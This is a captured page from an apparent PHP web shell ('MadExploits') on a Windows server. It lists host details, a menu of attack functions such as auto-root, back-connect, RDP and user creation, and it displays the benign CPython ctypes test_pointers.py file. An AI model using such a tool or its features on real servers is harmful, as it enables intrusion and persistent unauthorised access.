Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
python /
python-3.10 /
Lib /
ctypes /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxrwxrwx
__init__.py
461
B
-rw-rw-rw-
__main__.py
72
B
-rw-rw-rw-
test_anon.py
2.55
KB
-rw-rw-rw-
test_array_in_pointer.py
1.76
KB
-rw-rw-rw-
test_arrays.py
7.56
KB
-rw-rw-rw-
test_as_parameter.py
6.98
KB
-rw-rw-rw-
test_bitfields.py
10.4
KB
-rw-rw-rw-
test_buffers.py
2.62
KB
-rw-rw-rw-
test_bytes.py
2
KB
-rw-rw-rw-
test_byteswap.py
11.45
KB
-rw-rw-rw-
test_callbacks.py
10.64
KB
-rw-rw-rw-
test_cast.py
3.74
KB
-rw-rw-rw-
test_cfuncs.py
7.71
KB
-rw-rw-rw-
test_checkretval.py
1004
B
-rw-rw-rw-
test_delattr.py
554
B
-rw-rw-rw-
test_errno.py
2.19
KB
-rw-rw-rw-
test_find.py
4.48
KB
-rw-rw-rw-
test_frombuffer.py
5.23
KB
-rw-rw-rw-
test_funcptr.py
4.06
KB
-rw-rw-rw-
test_functions.py
12.59
KB
-rw-rw-rw-
test_incomplete.py
1.04
KB
-rw-rw-rw-
test_init.py
1.05
KB
-rw-rw-rw-
test_internals.py
2.67
KB
-rw-rw-rw-
test_keeprefs.py
4.11
KB
-rw-rw-rw-
test_libc.py
1.01
KB
-rw-rw-rw-
test_loading.py
7.15
KB
-rw-rw-rw-
test_macholib.py
2.14
KB
-rw-rw-rw-
test_memfunctions.py
3.29
KB
-rw-rw-rw-
test_numbers.py
9.54
KB
-rw-rw-rw-
test_objects.py
1.7
KB
-rw-rw-rw-
test_parameters.py
9.59
KB
-rw-rw-rw-
test_pep3118.py
8.54
KB
-rw-rw-rw-
test_pickling.py
2.25
KB
-rw-rw-rw-
test_pointers.py
7.29
KB
-rw-rw-rw-
test_prototypes.py
6.9
KB
-rw-rw-rw-
test_python_api.py
2.79
KB
-rw-rw-rw-
test_random_things.py
2.84
KB
-rw-rw-rw-
test_refcounts.py
2.61
KB
-rw-rw-rw-
test_repr.py
871
B
-rw-rw-rw-
test_returnfuncptrs.py
2.89
KB
-rw-rw-rw-
test_simplesubclasses.py
1.31
KB
-rw-rw-rw-
test_sizes.py
837
B
-rw-rw-rw-
test_slicing.py
6.05
KB
-rw-rw-rw-
test_stringptr.py
2.61
KB
-rw-rw-rw-
test_strings.py
7.36
KB
-rw-rw-rw-
test_struct_fields.py
2.64
KB
-rw-rw-rw-
test_structures.py
27.58
KB
-rw-rw-rw-
test_unaligned_structures.py
1.16
KB
-rw-rw-rw-
test_unicode.py
2.01
KB
-rw-rw-rw-
test_values.py
3.88
KB
-rw-rw-rw-
test_varsize_struct.py
1.85
KB
-rw-rw-rw-
test_win32.py
5.04
KB
-rw-rw-rw-
test_wintypes.py
1.41
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_pointers.py
import unittest, sys from ctypes import * import _ctypes_test ctype_types = [c_byte, c_ubyte, c_short, c_ushort, c_int, c_uint, c_long, c_ulong, c_longlong, c_ulonglong, c_double, c_float] python_types = [int, int, int, int, int, int, int, int, int, int, float, float] class PointersTestCase(unittest.TestCase): def test_pointer_crash(self): class A(POINTER(c_ulong)): pass POINTER(c_ulong)(c_ulong(22)) # Pointer can't set contents: has no _type_ self.assertRaises(TypeError, A, c_ulong(33)) def test_pass_pointers(self): dll = CDLL(_ctypes_test.__file__) func = dll._testfunc_p_p if sizeof(c_longlong) == sizeof(c_void_p): func.restype = c_longlong else: func.restype = c_long i = c_int(12345678) ## func.argtypes = (POINTER(c_int),) address = func(byref(i)) self.assertEqual(c_int.from_address(address).value, 12345678) func.restype = POINTER(c_int) res = func(pointer(i)) self.assertEqual(res.contents.value, 12345678) self.assertEqual(res[0], 12345678) def test_change_pointers(self): dll = CDLL(_ctypes_test.__file__) func = dll._testfunc_p_p i = c_int(87654) func.restype = POINTER(c_int) func.argtypes = (POINTER(c_int),) res = func(pointer(i)) self.assertEqual(res[0], 87654) self.assertEqual(res.contents.value, 87654) # C code: *res = 54345 res[0] = 54345 self.assertEqual(i.value, 54345) # C code: # int x = 12321; # res = &x x = c_int(12321) res.contents = x self.assertEqual(i.value, 54345) x.value = -99 self.assertEqual(res.contents.value, -99) def test_callbacks_with_pointers(self): # a function type receiving a pointer PROTOTYPE = CFUNCTYPE(c_int, POINTER(c_int)) self.result = [] def func(arg): for i in range(10): ## print arg[i], self.result.append(arg[i]) ## print return 0 callback = PROTOTYPE(func) dll = CDLL(_ctypes_test.__file__) # This function expects a function pointer, # and calls this with an integer pointer as parameter. # The int pointer points to a table containing the numbers 1..10 doit = dll._testfunc_callback_with_pointer ## i = c_int(42) ## callback(byref(i)) ## self.assertEqual(i.value, 84) doit(callback) ## print self.result doit(callback) ## print self.result def test_basics(self): from operator import delitem for ct, pt in zip(ctype_types, python_types): i = ct(42) p = pointer(i) ## print type(p.contents), ct self.assertIs(type(p.contents), ct) # p.contents is the same as p[0] ## print p.contents ## self.assertEqual(p.contents, 42) ## self.assertEqual(p[0], 42) self.assertRaises(TypeError, delitem, p, 0) def test_from_address(self): from array import array a = array('i', [100, 200, 300, 400, 500]) addr = a.buffer_info()[0] p = POINTER(POINTER(c_int)) ## print dir(p) ## print p.from_address ## print p.from_address(addr)[0][0] def test_other(self): class Table(Structure): _fields_ = [("a", c_int), ("b", c_int), ("c", c_int)] pt = pointer(Table(1, 2, 3)) self.assertEqual(pt.contents.a, 1) self.assertEqual(pt.contents.b, 2) self.assertEqual(pt.contents.c, 3) pt.contents.c = 33 from ctypes import _pointer_type_cache del _pointer_type_cache[Table] def test_basic(self): p = pointer(c_int(42)) # Although a pointer can be indexed, it has no length self.assertRaises(TypeError, len, p) self.assertEqual(p[0], 42) self.assertEqual(p[0:1], [42]) self.assertEqual(p.contents.value, 42) def test_charpp(self): """Test that a character pointer-to-pointer is correctly passed""" dll = CDLL(_ctypes_test.__file__) func = dll._testfunc_c_p_p func.restype = c_char_p argv = (c_char_p * 2)() argc = c_int( 2 ) argv[0] = b'hello' argv[1] = b'world' result = func( byref(argc), argv ) self.assertEqual(result, b'world') def test_bug_1467852(self): # http://sourceforge.net/tracker/?func=detail&atid=532154&aid=1467852&group_id=71702 x = c_int(5) dummy = [] for i in range(32000): dummy.append(c_int(i)) y = c_int(6) p = pointer(x) pp = pointer(p) q = pointer(y) pp[0] = q # <== self.assertEqual(p[0], 6) def test_c_void_p(self): # http://sourceforge.net/tracker/?func=detail&aid=1518190&group_id=5470&atid=105470 if sizeof(c_void_p) == 4: self.assertEqual(c_void_p(0xFFFFFFFF).value, c_void_p(-1).value) self.assertEqual(c_void_p(0xFFFFFFFFFFFFFFFF).value, c_void_p(-1).value) elif sizeof(c_void_p) == 8: self.assertEqual(c_void_p(0xFFFFFFFF).value, 0xFFFFFFFF) self.assertEqual(c_void_p(0xFFFFFFFFFFFFFFFF).value, c_void_p(-1).value) self.assertEqual(c_void_p(0xFFFFFFFFFFFFFFFFFFFFFFFF).value, c_void_p(-1).value) self.assertRaises(TypeError, c_void_p, 3.14) # make sure floats are NOT accepted self.assertRaises(TypeError, c_void_p, object()) # nor other objects def test_pointers_bool(self): # NULL pointers have a boolean False value, non-NULL pointers True. self.assertEqual(bool(POINTER(c_int)()), False) self.assertEqual(bool(pointer(c_int())), True) self.assertEqual(bool(CFUNCTYPE(None)(0)), False) self.assertEqual(bool(CFUNCTYPE(None)(42)), True) # COM methods are boolean True: if sys.platform == "win32": mth = WINFUNCTYPE(None)(42, "name", (), None) self.assertEqual(bool(mth), True) def test_pointer_type_name(self): LargeNamedType = type('T' * 2 ** 25, (Structure,), {}) self.assertTrue(POINTER(LargeNamedType)) # to not leak references, we must clean _pointer_type_cache from ctypes import _pointer_type_cache del _pointer_type_cache[LargeNamedType] def test_pointer_type_str_name(self): large_string = 'T' * 2 ** 25 P = POINTER(large_string) self.assertTrue(P) # to not leak references, we must clean _pointer_type_cache from ctypes import _pointer_type_cache del _pointer_type_cache[id(P)] def test_abstract(self): from ctypes import _Pointer self.assertRaises(TypeError, _Pointer.set_type, 42) if __name__ == '__main__': unittest.main()
Close